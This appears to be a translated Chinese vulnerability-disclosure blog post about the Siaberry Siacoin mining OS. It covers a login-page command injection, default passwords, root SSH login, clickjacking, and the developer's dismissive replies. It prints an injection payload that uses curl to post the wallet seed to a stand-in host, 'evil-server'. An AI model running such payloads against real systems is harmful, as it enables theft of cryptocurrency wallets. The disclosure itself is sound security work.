今天，我要给大家分享关于云储币（Siacoin）开源挖矿系统Siaberry相关的几个漏洞。奇葩的是，在我上报漏洞之后，Siaberry系统官方开发人员却不打算修复其中的一些漏洞，还反复公开声称，这些漏洞对用户没用任何影响，我真的也是醉了！
前言
Siaberry运行基于Sia平台，存储空间的拥有者通过出售存储空间来赚取实用型代币的云储币。我曾在我自己的Synology NAS网络存储设备上运行有一个Sia节点，后来我被Siaberry系统的友好界面所吸引，就在其中一个硬盘上安装试用了Siaberry系统，没想到在几个小时的使用过程中我就发现了好多严重的安全问题。
Sia是第一个基于区块链技术的去中心化存储平台，该平台目的是利用遍布全世界未被充分使用的硬盘来建立一个比传统的云存储提供商更可靠更便宜的数据存储市场。Sia平台对应的加密货币为Siacoin(云储币/云币)，Sia的设计是使提供存储空间的服务器能够收到Siacoin(云储币)，以此激励更多闲散空间成为储存空间提供商，而用户可以用Siacoin来出租或卖买存储空间。Sia平台的目标是，通过这种区块链技术应用，成为互联网世界的主要存储平台。（点此查看Siacoin挖矿指南和Siacoin交易平台）
Siaberry OS：Linux系统架构的，可烧录在树莓派等IoT硬件中的Siacoin订制化挖矿应用系统，也可称之为钱包，其具备图形化交互、即插即用、订制软件、优化安全和延伸扩展等特点。
命令注入漏洞
有意思的是，我在Siaberry系统的登录界面上发现了一个命令注入漏洞。我在自己的设备中架构了一个Siaberry系统，经测试发现，通过在登录界面密码区域输入一个特定密码串，就能把受害者Sia钱包中的私钥信息提取发送到远程攻击者架设的服务器端。以下为PoC验证视频：
看不到？点这里
漏洞信息
漏洞非常明显，开发人员和安全专家可以通过观看上面的视频演示，来准确地告诉你后端代码长啥样，我也可以告诉你，是的！漏洞原因在于 ActionPage.php 之中：
$user=$_POST['uname'];
$pass=$_POST['psw'];
exec("sudo bin/checker $user $pass", $output, $exitcode);
看吧，这就是问题所在之处，HTTP POST请求中会包含不可信的输入，Siaberry接收到了这些不可信的输入后就立即在shell中执行，在此过程中，就存在漏洞利用可能。
漏洞利用
在该漏洞利用过程中，我创建了一个名为 evil-server 的攻击者服务器端, 在该服务器中，我运行了netcat来执行5555端口的网络抓包。出于方便，我在同一个本地网络环境中架构了Siaberry应用服务器。当然，这种攻击在本地和远程网络环境中都能正常实现。
登录时候，我使用了foo作为用户名输入，密码则是以下特定经过构造的命令串：
badpassword || curl -d "$(siac wallet seeds)" -X POST evil-server:5555.登录提交之后，当 ActionPage.php 程序在 exec 行时, 就会自动执行以下命令：
sudo bin/checker foo badpassword || \
curl -d "$(siac wallet seeds)" -X POST evil-server:5555
至此，这条shell会触发执行三条不同命令，第一条命令就会是：
sudo bin/checker foo badpassword由于这里的用户名密码组合 foo/badpassword 本来就是不存在的，所以会返回一个非0退出代码的错误，因此，shell会接着往后执行后续的管道 || 之后的嵌入命令：
siac wallet seeds这条命令将会启动Sia系统的命令行接口程序siac，来向控制端打印出钱包的种子密钥（seed）。种子密钥是一串29个单词组成的密文，是用户钱包的私钥信息，任何人只要拥有这串密文，就能控制钱包中的所有资产。
curl -d "$(siac wallet seeds)" -X POST evil-server:5555最终，curl 命令的HTTP POST请求，会把钱包种子密钥信息发送到攻击者服务器端 http://evil-server:5555，攻击者会在evil-server服务器中的5555端口获取到该密钥信息，之后，就能实现对受害者钱包资产的云储币资产窃取。
早前关于该漏洞的其它信息
有意思的是，在8个月前，Reddit社区的Siacoin版块中，就有用户就对这个漏洞间接发出警告，当时他只注意到了exec中调用的用户控制数据存在安全隐患，并没有成功的漏洞测试证明。Siaberry系统开发人员Kete Tefid也直接忽略了这个用户的漏洞警告，并坚持认为exec调用不存在安全问题。
而且，Kete Tefid还在Siacoin的Reddit版块中添加了如下安全性声明：
关于安全性的声明
简而言之，Siaberry系统是安全的。
我自己花费了很多时间来研发这个系统，现在它能很好地运行。另外，我也反复利用了一些突破性措施做了大量安全测试，最终也没发现任何可利用漏洞或未授权的访问路径。
– Siaberry开发者 Kete Tefid
该命令注入漏洞的影响程度
尽管Siaberry系统登录界面上任意命令注入可能看起来很可怕，但是这个漏洞影响有限。因为野生Siaberry用户很少，估计也就几十个。在使用Siaberry系统的少数服务器中，很少有主机会将设备配置为接受来自互联网的流量。
但另一方面，跨站点请求伪造( CSRF )漏洞可能会加剧该漏洞的严重程度，但目前，我还没找到任何可行的CSRF攻击方式。如果Siaberry系统存在CSRF漏洞攻击，则该命令注入漏洞的影响将会非常严重，因为攻击者可以通过引诱本地设备网络的任何用户去访问恶意网站，实现任意Siaberry系统设备控制。
其它漏洞发现
除了上述的登录界面命令注入漏洞之外，我还发现了Siaberry系统的其它多个漏洞，但Siaberry官方到现在都没修复。现在已经过了60天的漏洞修复期限，我原以为Siaberry官方在这段时间之内已经有足够时间来进行修复，但最终我看到的是，Siaberry官方只对源码两处地方进行了修改，改动量前后不超过10行代码。
我觉得Siaberry官方根本不想修复我上报的这些漏洞，所在我决定在此进行公开披露。
数十个大把的命令注入漏洞
除了上述登录界面处不需验证的命令注入绕过漏洞之外，Siaberry系统其它地方还存在类似下面这种，针对身份验证用户才有效的多个命令注入漏洞，
在SetParams.php 文件中，当Siaberry系统在执行用户输入字符串时存在12种不同实例，这种实例代码如下：
if (isset($_POST['autoUnlockpass'])) {
$autounlockpass=$_POST['autoUnlockpass'];
exec("sudo ../bin/SetAutoUnlock $autounlockpass");
}分析可以发现，这种实例运行代码一样存在命令注入漏洞，非常危险。
Siaberry系统使用了不安全的SSH配置
Siaberry系统默认启用SSH，此外，Siaberry系统还允许root用户的SSH登录，这种做法存在一定安全隐患。
虽然Siaberry系统本身只是为用户提供了一个可以烧录的OS软体系统，根本上来说不涉及硬件设备，貌似这种启用SSH的做法也能说得通，但乍一想，Siaberry官方也出售一些烧录好的硬件Siacoin挖矿设备啊，而整个Siaberry系统说明文档中就根本没提到SSH，所以这种安全风险似乎最终只能由用户来承担。
Siaberry系统使用了不安全的默认密码配置
Siaberry系统的标准用户和root用户最初都使用了默认密码：siaberry，而Siaberry系统Web应用在整个应用过程中都不会提示用户来修改这个默认密码。
虽然Siaberry的说明文档中提示用户需要更改这个默认密码，但我估计大多数用户都不会仔细看说明文档，这样一来，很多用户就会完全忽略这个步骤，后续使用过程中当然也就存在安全风险。
Siaberry系统存在点击劫持漏洞（ Clickjacking）
点击劫持是攻击者引诱受害者点击访问恶意网站，之后诱使他们点击某个恶意界面按钮形成劫持的攻击。在此过程中，受害者并不知道他们点击操作的按钮，实际上是另一个恶意网站的按钮，攻击者会在隐蔽的iframe框架中覆盖掉原来合法的按钮，替换成自己想实现的功能按钮。
顾名思义，点击劫持攻击仅限于点击鼠标，因此攻击者不能用输入方式实现Siaberry入侵，或窃取受害者钱包资产等操作。但这种漏洞还是存在一定风险隐患，攻击者可以通过点击操作，来实现受害者存储空间格式化，这样就能让受害者存储合约失效，丢失掉保证金。典型的点击劫持漏洞如下图所示：
修复也很简单，只需在服务器响应消息中，对Content-Security-Policy: frame-ancestors 的HTTP 头内容做一些必要的设置就好。
Siaberry架构整体安全性堪忧
虽然上述这个Siaberry系统命令注入漏洞，看起来像是代码开发过程中单一的粗心错误，但我对整个Siaberry系统Web接口开源代码进行一些安全审查后发现，这套应用系统架构从根本上就是不安全的。目前，我发现的问题主要是：
通过shell命令可执行的进程间通信
Siaberry的web应用程序在 bin 文件夹目录下内置了25个shell命令脚本，web应用程序负责利用大多具备sudo权限的PHP exec或shell_exec调用来执行这些内置脚本。如果攻击者控制了命令字符串，像上述的命令注入漏洞一样，他们可以注入命令并欺骗Siaberry系统实现注入命令执行。
限制用户输入且对shell命令进行安全过滤处理，一定程度上可以避免命令注入，但这就要求开发人员对每次的使用处理确保正确才能有效，可能更安全的方式就是完全避免shell命令在进程间通信。 Siaberry的web应用程序还有其它多种通信方式，从通信效果来说，这些通信方式本身不会存在意外执行任意代码的可能。
过多的Web应用权限设置
Siaberry是一个多层应用程序，呈现给用户的部分只是web前端，很多后台进程在前端操作之下与用户进行交互，这其中包括Sia守护进程本身。
在任何的多层应用中，web应用是最大的攻击面可能，因为它需要处理的不可信输入很多。因此，安全体系结构指导遵循最小特权原则，需严格限制web应用权限，这样，即使攻击者对web应用形成破坏，但他们也无法完全控制整个系统。
但这里，Siaberry系统没有完全遵循这个原则，尽管它确实将有些任务限制在shell脚本的白名单中，但web应用被赋予了root权限。从影响程度上来说，赋予sudo权限都要比赋予root权限稍好。
Siaberry统开发者的无理狡辩
从Siaberry系统开发者 Kete Tefid 在Reddit社区中的公开说明，可以体会到Siaberry官方对这些漏洞毫不在意的原因了：
有些朋友评论说，把某某变量放到另一某某变量中后会成为其它变量，这样会产生安全隐患，但关键是，首先你得突破登录获得授权访问才能把某某变量放到另一某某变量中啊，其次，Siaberry系统又不是什么中心应用系统，不是所有人都能随便连接使用的，它只是用户自己的系统啊，所以，我就不明白了，按照你们所说的漏洞隐患来讲，Siaberry系统用户在完成登录之后，还要用这些漏洞来自己入侵自己啊？！
–Siaberry开发者 Kete Tefid
存在漏洞，还狡辩自己的系统很安全。这种无理的反驳也真是够的了，自己都没一点安全理念。你说没问题，那举个场景栗子给你看看：
场景1 : CSRF漏洞允许匿名用户通过Siaberry Web应用修改Sia目录路径。
按照Kete Tefid的理论，他可能又会说：“谁在乎呢？攻击者为什么会这种做呢？“
场景2 :存在命令注入漏洞，攻击者可以通过将Web应用中的Sia目录路径设置为某些经过构造的命令串，以此实现任意命令执行，但这种攻击前提必须经过验证登录才行。
按照Kete Tefid的理论，他可能又会说：“谁在乎呢？登录的验证用户怎么可能自己攻击自己呢？“
以上单一的漏洞场景安全影响确实很低，但组合利用效果就不一样了，风险隐患就不是那么简单了。系统安全保护不仅包含外部防护，也包含内部防御，也就是所谓的纵深防御。懂行的安全管理人员都明白，现存的漏洞不会是今后系统中唯一的漏洞。大多数情况下，最正确的决定就是及时修复当前漏洞，从根本上限制住后续各种漏洞组合利用的影响，攻防无形，未知攻，焉知防。
漏洞上报进程
2018-04-01: 我把所有发现的漏洞上报给了Siaberry系统开发人员 Kete Tefid
2018-04-02: Kete 只把登录界面处的命令注入漏洞进行了修复
2018-04-05: 我跟进询问 Kete 对其它Siaberry系统漏洞的修复情况
2018-04-06: Kete 回答我 ”我会好好看看，但可能最终的修复日期不会像你要求的60天那么快，所以，你该干嘛干嘛吧”
2018-04-06: 我接着询问Kete他计划要修复哪些漏洞，之后，Kete拒绝和我对话
2018-06-11: 60天漏洞修复日期已过，所以我决定在此公开披露我我发现的Siaberry漏洞
总结
基于Siaberry系统存在的各种漏洞，以及其官方对上报漏洞的漠不关心和置之不理，对广大用户而言，我只有一条建议：别用Siaberry系统！另外，Siaberry系统钱包涉及的销售策略和操作方法存在问题，具体请参看我的第二部分分析文章。
*参考来源：spaceduck，clouds 编译，转自FreeBuf